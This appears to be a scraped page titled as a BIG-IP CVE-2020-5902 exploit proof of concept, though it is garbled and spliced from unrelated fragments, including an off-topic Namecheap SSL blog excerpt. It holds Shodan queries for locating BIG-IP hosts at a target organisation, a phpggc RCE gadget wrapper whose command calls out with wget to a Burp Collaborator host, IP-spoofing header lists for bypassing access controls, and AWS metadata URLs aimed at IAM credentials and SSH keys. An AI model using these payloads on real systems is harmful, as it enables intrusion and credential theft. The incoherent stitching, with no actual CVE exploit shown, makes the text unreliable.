Max Yaremchuk w9w

🚨BIGIP CVE-2020-5902 Exploit POC 🔥🧱🔨👀

Shodan Seaarch

title:"Big-IP&reg;" org:"Organization Name"
http.title:"BIG-IP&reg;- Redirect" org:"Organization Name"
http.favicon.hash:-335242539 "3992" org:"Organization Name"

🔸LFI

Google dork cheatsheet

Search filters

Filter	Description	Example
allintext	Searches for occurrences of all the keywords given.	`allintext:"keyword"`
intext	Searches for the occurrences of keywords all at once or one at a time.	`intext:"keyword"`
inurl	Searches for a URL matching one of the keywords.	`inurl:"keyword"`
allinurl	Searches for a URL matching all the keywords in the query.	`allinurl:"keyword"`
intitle	Searches for occurrences of keywords in title all or one.	`intitle:"keyword"`

source: https://savedlog.com/uncategorized/letsencrypt-ssl-certificate-namecheap-hosting/

The “Positive SSL” certificate I bought along with my domain is invalid with any of my subdomains and cannot be used with wildcards. One annoying thing is that namecheap doesn’t offer auto installation of free let’s encrypt certificates, even though, they are saying “Namecheap is dedicated to data security and privacy for all internet users. We believe the movement to encrypt nearly all web traffic is a positive direction. As more sites embrace HTTPS and use of security products, providers of free SSL are beginning to come online.”

Let me show you what it needs to be done in order to “encrypt nearly all web traffic”.

First, not required but it’s helpful to enable ssh access, it is not enabled by default on the base hosting plans, just go an start a live chat and request ssh access.

	import requests
	import time
	import sys
	from base64 import b64encode
	from requests_ntlm2 import HttpNtlmAuth
	from urllib3.exceptions import InsecureRequestWarning
	from urllib import quote_plus

	requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

	#!/bin/bash

	# phpggc wrapper that automatically generates payloads for RCE gadgets

	function="system"
	command="wget http://your.burpcollaborator.net/?"
	# modify the options below depending on your use case
	options="-a -b -u -f"

	# generate gadget chains

	CACHE_INFO: 127.0.0.1
	CF_CONNECTING_IP: 127.0.0.1
	CF-Connecting-IP: 127.0.0.1
	CLIENT_IP: 127.0.0.1
	Client-IP: 127.0.0.1
	COMING_FROM: 127.0.0.1
	CONNECT_VIA_IP: 127.0.0.1
	FORWARD_FOR: 127.0.0.1
	FORWARD-FOR: 127.0.0.1
	FORWARDED_FOR_IP: 127.0.0.1

	.php
	.html
	.txt
	.htm
	.aspx
	.asp
	.js
	.css
	.pgsql.txt
	.mysql.txt

	`
	~/
	~
	×™×


	___
	__
	_

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key